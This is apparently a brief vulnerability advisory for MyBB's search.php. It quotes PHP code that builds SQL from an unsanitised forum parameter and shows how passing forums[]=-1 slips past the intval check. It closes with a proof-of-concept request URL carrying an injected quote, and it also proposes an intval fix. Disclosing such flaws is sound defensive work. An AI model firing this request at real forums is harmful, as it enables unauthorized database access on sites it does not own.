/* _START_ */
if($mybb->input['forums'] != "all")
{
if(!is_array($mybb->input['forums'])) <<-- We Break It By forums[]=-1
{
$mybb->input['forums'] = array(intval($mybb->input['forums']));

$query = $db->query("SELECT f.fid FROM ".TABLE_PREFIX."forums f LEFT JOIN ".TABLE_PREFIX."forumpermissions p ON (f.fid=p.fid AND p.gid='".$mybb->user[usergroup]."') WHERE INSTR(CONCAT(',',parentlist,','),',$forum,') > 0 AND active!='no' AND (ISNULL(p.fid) OR p.cansearch='yes')");
if($db->num_rows($query) == 1)
{
$wheresql .= " AND t.fid='$forum' "; <<-- First SQL Injection
$searchin[$fid] = 1;
}
Fix it :-
Add :-
$forum = intval($forum); To Line 568
/* _END_*/
/* Exploit */
[username] = any username in victem forum
[HOST]/[PATH]/search.php?action=do_search&postthread=1&author=[username]&matchusername=1&forums[]=-1'
